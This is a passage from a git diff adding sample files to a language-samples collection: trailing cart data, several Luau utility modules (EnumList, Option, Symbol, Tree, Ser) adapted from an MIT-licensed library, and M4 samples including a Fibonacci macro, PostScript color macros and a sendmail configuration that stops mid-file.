+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+__music__
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
+00 41424344
diff --git a/samples/Luau/EnumList.luau b/samples/Luau/EnumList.luau
new file mode 100644
index 0000000000..b96d931570
--- /dev/null
+++ b/samples/Luau/EnumList.luau
@@ -0,0 +1,116 @@
+--!optimize 2
+--!strict
+--!native
+
+--// EnumList v2.1.0
+--// Authored by @sleitnick and modified by @robloxiandemo
+--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/enum-list/init.lua)
+--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)
+
+type EnumNames = { string }
+
+--[=[
+	@interface EnumItem
+	.Name string
+	.Value number
+	.EnumType EnumList
+	@within EnumList
+]=]
+export type EnumItem = {
+	Name: string,
+	Value: number,
+	EnumType: any,
+}
+
+local LIST_KEY = newproxy()
+local NAME_KEY = newproxy()
+
+local function makeReadOnly<ITable>(_table: ITable)
+	return setmetatable({}, {
+		__index = _table,
+		__newindex = function()
+			error("Attempt to modify read-only table", 2)
+		end,
+		__metatable = false,
+	})
+end
+
+local function CreateEnumItem(name: string, value: number, enum: any): EnumItem
+	local enumItem = {
+		Name = name,
+		Value = value,
+		EnumType = enum,
+	}
+	makeReadOnly(enumItem)
+	return enumItem
+end
+
+--[=[
+	@class EnumList
+	Defines a new Enum.
+]=]
+local EnumList = {}
+EnumList.__index = EnumList
+
+--[=[
+	@param name string
+	@param enums {string}
+	@return EnumList
+	Constructs a new EnumList.
+
+	```lua
+	local directions = EnumList.new("Directions", {
+		"Up",
+		"Down",
+		"Left",
+		"Right",
+	})
+
+	local direction = directions.Up
+	```
+]=]
+function EnumList.new(name: string, enums: EnumNames)
+	assert(type(name) == "string", "Name string required")
+	assert(type(enums) == "table", "Enums table required")
+	local self = {}
+	self[LIST_KEY] = {}
+	self[NAME_KEY] = name
+	for i, enumName in ipairs(enums) do
+		assert(type(enumName) == "string", "Enum name must be a string")
+		local enumItem = CreateEnumItem(enumName, i, self)
+		self[enumName] = enumItem
+		table.insert(self[LIST_KEY], enumItem)
+	end
+	return makeReadOnly(setmetatable(self, EnumList))
+end
+
+--[=[
+	@param obj any
+	@return boolean
+	Returns `true` if `obj` belongs to the EnumList.
+]=]
+function EnumList:BelongsTo(obj: any): boolean
+	return type(obj) == "table" and obj.EnumType == self
+end
+
+--[=[
+	Returns an array of all enum items.
+	@return {EnumItem}
+	@since v2.0.0
+]=]
+function EnumList:GetEnumItems()
+	return self[LIST_KEY]
+end
+
+--[=[
+	Get the name of the enum.
+	@return string
+	@since v2.0.0
+]=]
+function EnumList:GetName()
+	return self[NAME_KEY]
+end
+
+export type EnumList = typeof(EnumList.new(...))
+
+return EnumList
diff --git a/samples/Luau/Option.luau b/samples/Luau/Option.luau
new file mode 100644
index 0000000000..90dcb91be7
--- /dev/null
+++ b/samples/Luau/Option.luau
@@ -0,0 +1,229 @@
+--!optimize 2
+--!strict
+--!native
+
+--// EnumList v1.0.5
+--// Authored by @sleitnick and modified by @robloxiandemo
+--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/option/init.lua)
+--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)
+
+export type MatchTable<T> = {
+	Some: (value: T) -> any,
+	None: () -> any,
+}
+
+export type MatchFn<T> = (matches: MatchTable<T>) -> any
+
+export type DefaultFn<T> = () -> T
+
+export type AndThenFn<T> = (value: T) -> Option<T>
+
+export type OrElseFn<T> = () -> Option<T>
+
+export type Option<T> = typeof(setmetatable(
+	{} :: {
+		Match: (self: Option<T>) -> MatchFn<T>,
+		IsSome: (self: Option<T>) -> boolean,
+		IsNone: (self: Option<T>) -> boolean,
+		Contains: (self: Option<T>, value: T) -> boolean,
+		Unwrap: (self: Option<T>) -> T,
+		Expect: (self: Option<T>, errMsg: string) -> T,
+		ExpectNone: (self: Option<T>, errMsg: string) -> nil,
+		UnwrapOr: (self: Option<T>, default: T) -> T,
+		UnwrapOrElse: (self: Option<T>, defaultFn: DefaultFn<T>) -> T,
+		And: (self: Option<T>, opt2: Option<T>) -> Option<T>,
+		AndThen: (self: Option<T>, predicate: AndThenFn<T>) -> Option<T>,
+		Or: (self: Option<T>, opt2: Option<T>) -> Option<T>,
+		OrElse: (self: Option<T>, orElseFunc: OrElseFn<T>) -> Option<T>,
+		XOr: (self: Option<T>, opt2: Option<T>) -> Option<T>,
+	},
+	{} :: {
+		__index: Option<T>,
+	}
+))
+
+local CLASSNAME = "Option"
+
+local Option = {}
+Option.__index = Option
+
+function Option._new(value)
+	local self = setmetatable({
+		ClassName = CLASSNAME,
+		_v = value,
+		_s = (value ~= nil),
+	}, Option)
+	return self
+end
+
+function Option.Some(value)
+	assert(value ~= nil, "Option.Some() value cannot be nil")
+	return Option._new(value)
+end
+
+function Option.Wrap(value)
+	if value == nil then
+		return Option.None
+	else
+		return Option.Some(value)
+	end
+end
+
+function Option.Is(obj)
+	return type(obj) == "table" and getmetatable(obj) == Option
+end
+
+function Option.Assert(obj)
+	assert(Option.Is(obj), "Result was not of type Option")
+end
+
+function Option.Deserialize(data) -- type data = {ClassName: string, Value: any}
+	assert(type(data) == "table" and data.ClassName == CLASSNAME, "Invalid data for deserializing Option")
+	return data.Value == nil and Option.None or Option.Some(data.Value)
+end
+
+function Option:Serialize()
+	return {
+		ClassName = self.ClassName,
+		Value = self._v,
+	}
+end
+
+function Option:Match(matches)
+	local onSome = matches.Some
+	local onNone = matches.None
+	assert(type(onSome) == "function", "Missing 'Some' match")
+	assert(type(onNone) == "function", "Missing 'None' match")
+	if self:IsSome() then
+		return onSome(self:Unwrap())
+	else
+		return onNone()
+	end
+end
+
+function Option:IsSome()
+	return self._s
+end
+
+function Option:IsNone()
+	return not self._s
+end
+
+function Option:Expect(msg)
+	assert(self:IsSome(), msg)
+	return self._v
+end
+
+function Option:ExpectNone(msg)
+	assert(self:IsNone(), msg)
+end
+
+function Option:Unwrap()
+	return self:Expect("Cannot unwrap option of None type")
+end
+
+function Option:UnwrapOr(default)
+	if self:IsSome() then
+		return self:Unwrap()
+	else
+		return default
+	end
+end
+
+function Option:UnwrapOrElse(defaultFn)
+	if self:IsSome() then
+		return self:Unwrap()
+	else
+		return defaultFn()
+	end
+end
+
+function Option:And(optionB)
+	if self:IsSome() then
+		return optionB
+	else
+		return Option.None
+	end
+end
+
+function Option:AndThen(andThenFn)
+	if self:IsSome() then
+		local result = andThenFn(self:Unwrap())
+		Option.Assert(result)
+		return result
+	else
+		return Option.None
+	end
+end
+
+function Option:Or(optionB)
+	if self:IsSome() then
+		return self
+	else
+		return optionB
+	end
+end
+
+function Option:OrElse(orElseFn)
+	if self:IsSome() then
+		return self
+	else
+		local result = orElseFn()
+		Option.Assert(result)
+		return result
+	end
+end
+
+function Option:XOr(optionB)
+	local someOptA = self:IsSome()
+	local someOptB = optionB:IsSome()
+	if someOptA == someOptB then
+		return Option.None
+	elseif someOptA then
+		return self
+	else
+		return optionB
+	end
+end
+
+function Option:Filter(predicate)
+	if self:IsNone() or not predicate(self._v) then
+		return Option.None
+	else
+		return self
+	end
+end
+
+function Option:Contains(value)
+	return self:IsSome() and self._v == value
+end
+
+function Option:__tostring()
+	if self:IsSome() then
+		return ("Option<" .. type(self._v) .. ">")
+	else
+		return "Option<None>"
+	end
+end
+
+function Option:__eq(opt)
+	if Option.Is(opt) then
+		if self:IsSome() and opt:IsSome() then
+			return (self:Unwrap() == opt:Unwrap())
+		elseif self:IsNone() and opt:IsNone() then
+			return true
+		end
+	end
+	return false
+end
+
+Option.None = Option._new()
+
+return (Option :: any) :: {
+	Some: <T>(value: T) -> Option<T>,
+	Wrap: <T>(value: T) -> Option<T>,
+
+	Is: (obj: any) -> boolean,
+
+	None: Option<any>,
+}
diff --git a/samples/Luau/Symbol.luau b/samples/Luau/Symbol.luau
new file mode 100644
index 0000000000..22bb01c596
--- /dev/null
+++ b/samples/Luau/Symbol.luau
@@ -0,0 +1,61 @@
+--!optimize 2
+--!strict
+--!native
+
+--// Symbol v2.0.1
+--// Authored by @sleitnick and modified by @robloxiandemo
+--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/symbol/init.lua)
+--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)
+
+--[=[
+	@class Symbol
+
+	Represents a unique object.
+
+	Symbols are often used as unique keys in tables. This is useful to avoid possible collisions
+	with a key in a table, since the symbol will always be unique and cannot be reconstructed.
+
+
+	:::note All Unique
+	Every creation of a symbol is unique, even if the
+	given names are the same.
+	:::
+
+	```lua
+	local Symbol = require(packages.Symbol)
+
+	-- Create a symbol:
+	local symbol = Symbol("MySymbol")
+
+	-- The name is optional:
+	local anotherSymbol = Symbol()
+
+	-- Comparison:
+	print(symbol == symbol) --> true
+
+	-- All symbol constructions are unique, regardless of the name:
+	print(Symbol("Hello") == Symbol("Hello")) --> false
+
+	-- Commonly used as unique keys in a table:
+	local DATA_KEY = Symbol("Data")
+	local t = {
+		-- Can only be accessed using the DATA_KEY symbol:
+		[DATA_KEY] = {}
+	}
+
+	print(t[DATA_KEY]) --> {}
+	```
+]=]
+
+local function Symbol(name: string?)
+	local symbol = newproxy(true)
+	if not name then
+		name = ""
+	end
+	getmetatable(symbol).__tostring = function()
+		return "Symbol(" .. name .. ")"
+	end
+	return symbol
+end
+
+return Symbol
diff --git a/samples/Luau/Tree.luau b/samples/Luau/Tree.luau
new file mode 100644
index 0000000000..ecf000bd2d
--- /dev/null
+++ b/samples/Luau/Tree.luau
@@ -0,0 +1,146 @@
+--!optimize 2
+--!strict
+--!native
+
+--// Tree v1.1.0
+--// Authored by @sleitnick and modified by @robloxiandemo
+--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/tree/init.lua)
+--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)
+
+local DELIM = "/"
+
+local function FullNameToPath(instance: Instance): string
+	return instance:GetFullName():gsub("%.", DELIM)
+end
+
+--[=[
+	@class Tree
+]=]
+local Tree = {}
+
+--[=[
+	Similar to FindFirstChild, with a few key differences:
+	- An error is thrown if the instance is not found
+	- A path to the instance can be provided, delimited by forward slashes (e.g. `Path/To/Child`)
+	- Optionally, the instance's type can be asserted using `IsA`
+
+	```lua
+	-- Find "Child" directly under parent:
+	local instance = Tree.Find(parent, "Child")
+
+	-- Find "Child" descendant:
+	local instance = Tree.Find(parent, "Path/To/Child")
+
+	-- Find "Child" descendant and assert that it's a BasePart:
+	local instance = Tree.Find(parent, "Path/To/Child", "BasePart") :: BasePart
+	```
+]=]
+function Tree.Find(parent: Instance, path: string, assertIsA: string?): Instance
+	local instance = parent
+	local paths = path:split(DELIM)
+
+	for _, p in paths do
+		-- Error for empty path parts:
+		if p == "" then
+			error(`Invalid path: {path}`, 2)
+		end
+
+		instance = instance:FindFirstChild(p)
+
+		-- Error if instance is not found:
+		if instance == nil then
+			error(`Failed to find {path} in {FullNameToPath(parent)}`, 2)
+		end
+	end
+
+	-- Assert class type if argument is supplied:
+	if assertIsA and not instance:IsA(assertIsA) then
+		error(`Got class {instance.ClassName}; expected to be of type {assertIsA}`, 2)
+	end
+
+	return instance
+end
+
+--[=[
+	Returns `true` if the instance is found. Similar to `Tree.Find`, except this returns `true|false`. No error is thrown unless the path is invalid.
+
+	```lua
+	-- Check if "Child" exists directly in `parent`:
+	if Tree.Exists(parent, "Child") then ... end
+	
+	-- Check if "Child" descendant exists at `parent.Path.To.Child`:
+	if Tree.Exists(parent, "Path/To/Child") then ... end
+	
+	-- Check if "Child" descendant exists at `parent.Path.To.Child` and is a BasePart:
+	if Tree.Exists(parent, "Path/To/Child", "BasePart") then ... end
+	```
+]=]
+function Tree.Exists(parent: Instance, path: string, assertIsA: string?): boolean
+	local instance = parent
+	local paths = path:split(DELIM)
+
+	for _, p in paths do
+		-- Error for empty path parts:
+		if p == "" then
+			error(`Invalid path: {path}`, 2)
+		end
+
+		instance = instance:FindFirstChild(p)
+
+		if instance == nil then
+			return false
+		end
+	end
+
+	if assertIsA and not instance:IsA(assertIsA) then
+		return false
+	end
+
+	return true
+end
+
+--[=[
+	@yields
+	Waits for the path to exist within the parent instance. Similar to `Tree.Find`, except `WaitForChild`
+	is used internally. An optional `timeout` can be supplied, which is passed along to each call to
+	`WaitForChild`.
+
+	An error is thrown if the path fails to resolve. This will only happen if the path is invalid _or_ if
+	the supplied timeout is reached.
+
+	:::caution Indefinite Yield Possible
+	If the `timeout` parameter is not supplied, then the internal call to `WaitForChild` will yield
+	indefinitely until the child is found. It is good practice to supply a timeout parameter.
+	:::
+
+	```lua
+	local child = Tree.Await(parent, "Path/To/Child", 30)
+	```
+]=]
+function Tree.Await(parent: Instance, path: string, timeout: number?, assertIsA: string?): Instance
+	local instance = parent
+	local paths = path:split(DELIM)
+
+	for _, p in paths do
+		-- Error for empty path parts:
+		if p == "" then
+			error(`Invalid path: {path}`, 2)
+		end
+
+		instance = instance:WaitForChild(p, timeout)
+
+		-- Error if instance is not found:
+		if instance == nil then
+			error(`Failed to await {path} in {FullNameToPath(parent)} (timeout reached)`, 2)
+		end
+	end
+
+	-- Assert class type if argument is supplied:
+	if assertIsA and not instance:IsA(assertIsA) then
+		error(`Got class {instance.ClassName}; expected to be of type {assertIsA}`, 2)
+	end
+
+	return instance
+end
+
+return Tree
diff --git a/samples/Luau/ser.luau b/samples/Luau/ser.luau
new file mode 100644
index 0000000000..62e02fae17
--- /dev/null
+++ b/samples/Luau/ser.luau
@@ -0,0 +1,178 @@
+--!optimize 2
+--!strict
+--!native
+
+--// Ser v1.0.5
+--// Authored by @sleitnick and modified by @robloxiandemo
+--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/ser/init.lua)
+--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)
+
+--[[
+
+	Ser is a serialization/deserialization utility module that is used
+	by Knit to automatically serialize/deserialize values passing
+	through remote functions and remote events.
+
+
+	Ser.Classes = {
+		[ClassName] = {
+			Serialize = (value) -> serializedValue
+			Deserialize = (value) => deserializedValue
+		}
+	}
+
+	Ser.SerializeArgs(...)            -> table
+	Ser.SerializeArgsAndUnpack(...)   -> Tuple
+	Ser.DeserializeArgs(...)          -> table
+	Ser.DeserializeArgsAndUnpack(...) -> Tuple
+	Ser.Serialize(value: any)         -> any
+	Ser.Deserialize(value: any)       -> any
+	Ser.UnpackArgs(args: table)       -> Tuple
+
+--]]
+
+type Args = {
+	n: number,
+	[any]: any,
+}
+
+local Option = require("samples/Luau/Option.luau")
+
+--[=[
+	@class Ser
+
+	Library for serializing and deserializing data.
+
+	See the `Classes` property for information on extending the use
+	of the Ser library to include other classes.
+
+]=]
+local Ser = {}
+
+--[=[
+	@within Ser
+	@prop Classes table
+
+	A dictionary of classes along with a Serialize and Deserialize function.
+	For instance, the default class added is the Option class, which looks
+	like the following:
+
+	```lua
+	Ser.Classes.Option = {
+		Serialize = function(opt) return opt:Serialize() end;
+		Deserialize = Option.Deserialize;
+	}
+	```
+
+	Add to this table in order to extend what classes are automatically
+	serialized/deserialized.
+
+	The Ser library checks every object's `ClassName` field in both serialized
+	and deserialized data in order to map it to the correct function within
+	the Classes table.
+]=]
+Ser.Classes = {
+	Option = {
+		Serialize = function(opt)
+			return opt:Serialize()
+		end,
+		Deserialize = Option.Deserialize,
+	},
+}
+
+--[=[
+	@param ... any
+	@return args: table
+	Serializes the arguments and returns the serialized values in a table.
+]=]
+function Ser.SerializeArgs(...: any): Args
+	local args = { (...) }
+	for i, arg in ipairs(args) do
+		if type(arg) == "table" then
+			local ser = Ser.Classes[arg.ClassName]
+			if ser then
+				args[i] = ser.Serialize(arg)
+			end
+		end
+	end
+	return args
+end
+
+--[=[
+	@param ... any
+	@return args: ...any
+	Serializes the arguments and returns the serialized values.
+]=]
+function Ser.SerializeArgsAndUnpack(...: any): ...any
+	local args = Ser.SerializeArgs(...)
+	return unpack(args, 1, args.n)
+end
+
+--[=[
+	@param ... any
+	@return args: table
+	Deserializes the arguments and returns the deserialized values in a table.
+]=]
+function Ser.DeserializeArgs(...: any): Args
+	local args = { (...) }
+	for i, arg in ipairs(args) do
+		if type(arg) == "table" then
+			local ser = Ser.Classes[arg.ClassName]
+			if ser then
+				args[i] = ser.Deserialize(arg)
+			end
+		end
+	end
+	return args
+end
+
+--[=[
+	@param ... any
+	@return args: table
+	Deserializes the arguments and returns the deserialized values.
+]=]
+function Ser.DeserializeArgsAndUnpack(...: any): ...any
+	local args = Ser.DeserializeArgs(...)
+	return unpack(args, 1, args.n)
+end
+
+--[=[
+	@param value any
+	@return any
+	Serializes the given value.
+]=]
+function Ser.Serialize(value: any): any
+	if type(value) == "table" then
+		local ser = Ser.Classes[value.ClassName]
+		if ser then
+			value = ser.Serialize(value)
+		end
+	end
+	return value
+end
+
+--[=[
+	@param value any
+	@return any
+	Deserializes the given value.
+]=]
+function Ser.Deserialize(value: any): any
+	if type(value) == "table" then
+		local ser = Ser.Classes[value.ClassName]
+		if ser then
+			value = ser.Deserialize(value)
+		end
+	end
+	return value
+end
+
+--[=[
+	@param value any
+	@return any
+	Unpacks the arguments returned by either `SerializeArgs` or `DeserializeArgs`.
+]=]
+function Ser.UnpackArgs(value: Args): ...any
+	return unpack(value, 1, value.n)
+end
+
+return Ser
diff --git a/samples/M4/fibo.m4 b/samples/M4/fibo.m4
new file mode 100644
index 0000000000..3d86e56476
--- /dev/null
+++ b/samples/M4/fibo.m4
@@ -0,0 +1,7 @@
+dnl $OpenBSD: fibo.m4,v 1.2 2000/07/01 14:18:39 espie Exp $
+define(`copy', `$1')dnl
+define(`fibo',dnl
+`ifelse($1,0,`a',dnl
+$1,1,`b',dnl
+`copy(fibo(decr($1)))`'copy(fibo(decr(decr($1))))')')dnl
+fibo(N)
diff --git a/samples/M4/postscript.m4 b/samples/M4/postscript.m4
new file mode 100644
index 0000000000..21072c1d17
--- /dev/null
+++ b/samples/M4/postscript.m4
@@ -0,0 +1,74 @@
+divert(-1)
+   postscript.m4                  Initialization for Postscript output.
+
+* Circuit_macros Version 9.3, copyright (c) 2020 J. D. Aplevich under      *
+* the LaTeX Project Public Licence in file Licence.txt. The files of       *
+* this distribution may be redistributed or modified provided that this    *
+* copyright notice is included and provided that modifications are clearly *
+* marked to distinguish them from this distribution.  There is no warranty *
+* whatsoever for these files.                                              *
+
+define(`m4picprocessor',dpic)
+define(`m4postprocessor',postscript)
+
+ifdef(`libgen_',,`include(libgen.m4)divert(-1)')dnl
+
+                                Color utilities
+define(`setrgb',`pushdef(`r_',`$1')pushdef(`g_',`$2')pushdef(`b_',`$3')dnl
+pushdef(`m4cl_',ifelse(`$4',,lcspec,`$4'))dnl
+ command sprintf(" /m4cl_ {%7.5f %7.5f %7.5f} def",r_,g_,b_)
+ command " m4cl_ setrgbcolor"')
+
+define(`resetrgb',`popdef(`m4cl_')popdef(`r_')popdef(`g_')popdef(`b_')dnl
+ ifdef(`r_',
+  `command sprintf(" %7.5f %7.5f %7.5f setrgbcolor",r_,g_,b_)',
+  `command " 0 0 0 setrgbcolor"') ')
+
+                                `rgbdraw(color triple, drawing commands)'
+define(`rgbdraw',`setrgb(`$1',`$2',`$3')
+  shift(shift(shift($@)))
+  resetrgb')
+                                `rgbfill(color triple, closed path)'
+define(`rgbfill',
+ `command " npath /npath {} def /endstroke {} def"
+  ifm4_rgbtestcomma(`$1',
+   `shift($@)
+    command "gsave `$1' setrgbcolor"',
+   `shift(shift(shift($@)))
+    command sprintf("gsave %7.5f %7.5f %7.5f setrgbcolor", `$1',`$2',`$3')')
+  command " fill grestore ostroke"
+  command " /endstroke {ostroke} def /npath {newpath} def"')
+                                `Top-level test for comma'
+define(`ifm4_rgbtestcomma',`ifinstr(`$1',`,',`$2',`$3')')
+
+                                Define some primary colors
+define(`defineRGBprimaries',`
+command "/white {1 1 1} def
+/lightgrey {0.75 0.75 0.75} def
+/lightgray {0.75 0.75 0.75} def
+/grey {0.5 0.5 0.5} def
+/gray {0.5 0.5 0.5} def
+/darkgrey {0.25 0.25 0.25} def
+/darkgray {0.25 0.25 0.25} def
+/black {0 0 0} def
+/red {1 0 0} def
+/green {0 1 0} def
+/blue {0 0 1} def
+/cyan {0 1 1} def
+/magenta {1 0 1} def
+/yellow {1 1 0} def"')
+
+define(`thinlines_',`linethick = 0.4
+ arrowwid = 0.04*scale; arrowht = 0.2/3*scale
+ command " 0.4 setlinewidth";')
+define(`thicklines_',`linethick = 0.8
+ arrowwid = 0.05*scale; arrowht = 0.1*scale
+ command " 0.8 setlinewidth";')
+                                `linethick_(x)
+                                 set line width to x pt (default 0.8)
+                                 and scale arrowhead parameters'
+define(`linethick_',`linethick = ifelse(`$1',,`0.8',`$1'); dnl
+ arrowwid = ifelse(`$1',,`0.05',linethick/16)*scale; dnl
+ arrowht = ifelse(`$1',,`0.1',linethick/8)*scale;')
+
+divert(0)dnl
diff --git a/samples/M4/sendmail.mc b/samples/M4/sendmail.mc
new file mode 100644
index 0000000000..ee0e40bdba
--- /dev/null
+++ b/samples/M4/sendmail.mc
@@ -0,0 +1,121 @@
+divert(-1)dnl
+dnl #
+dnl # This is the sendmail macro config file for m4. If you make changes to
+dnl # /etc/mail/sendmail.mc, you will need to regenerate the
+dnl # /etc/mail/sendmail.cf file by confirming that the sendmail-cf package is
+dnl # installed
+include(`/usr/share/sendmail-cf/m4/cf.m4')dnl
+VERSIONID(`setup for linux')dnl
+OSTYPE(`linux')dnl
+dnl #
+dnl # Do not advertize sendmail version.
+dnl #
+dnl define(`confSMTP_LOGIN_MSG', `$j Sendmail; $b')dnl
+dnl #
+dnl # default logging level is 9, you might want to set it higher to
+dnl # debug the configuration
+dnl #
+dnl define(`confLOG_LEVEL', `9')dnl
+dnl define(`SMART_HOST', `smtp.your.provider')dnl
+define(`confDEF_USER_ID', ``8:12'')dnl
+dnl define(`confAUTO_REBUILD')dnl
+define(`confTO_CONNECT', `1m')dnl
+define(`confTRY_NULL_MX_LIST', `True')dnl
+define(`confDONT_PROBE_INTERFACES', `True')dnl
+define(`PROCMAIL_MAILER_PATH', `/usr/bin/procmail')dnl
+define(`ALIAS_FILE', `/etc/aliases')dnl
+define(`STATUS_FILE', `/var/log/mail/statistics')dnl
+define(`UUCP_MAILER_MAX', `2000000')dnl
+define(`confUSERDB_SPEC', `/etc/mail/userdb.db')dnl
+define(`confPRIVACY_FLAGS', `authwarnings,novrfy,noexpn,restrictqrun')dnl
+define(`confAUTH_OPTIONS', `A')dnl
+dnl #
+dnl # The following allows relaying if the user authenticates, and disallows
+dnl # plaintext authentication (PLAIN/LOGIN) on non-TLS links
+dnl #
+dnl define(`confAUTH_OPTIONS', `A p')dnl
+dnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl
+dnl define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl
+dnl #
+dnl # Rudimentary information on creating certificates for sendmail TLS:
+dnl #     cd /etc/pki/tls/certs; make sendmail.pem
+dnl # Complete usage:
+dnl #     make -C /etc/pki/tls/certs usage
+dnl #
+dnl define(`confCACERT_PATH', `/etc/pki/tls/certs')dnl
+dnl define(`confCACERT', `/etc/pki/tls/certs/ca-bundle.crt')dnl
+dnl define(`confSERVER_CERT', `/etc/pki/tls/certs/sendmail.pem')dnl
+dnl define(`confSERVER_KEY', `/etc/pki/tls/certs/sendmail.pem')dnl
+dnl #
+dnl # This allows sendmail to use a keyfile that is shared with OpenLDAP's
+dnl # slapd, which requires the file to be readble by group ldap
+dnl #
+dnl define(`confDONT_BLAME_SENDMAIL', `groupreadablekeyfile')dnl
+dnl #
+dnl define(`confTO_QUEUEWARN', `4h')dnl
+dnl define(`confTO_QUEUERETURN', `5d')dnl
+dnl define(`confQUEUE_LA', `8')dnl
+dnl define(`confREFUSE_LA', `16')dnl
+define(`confTO_IDENT', `0')dnl
+dnl FEATURE(delay_checks)dnl
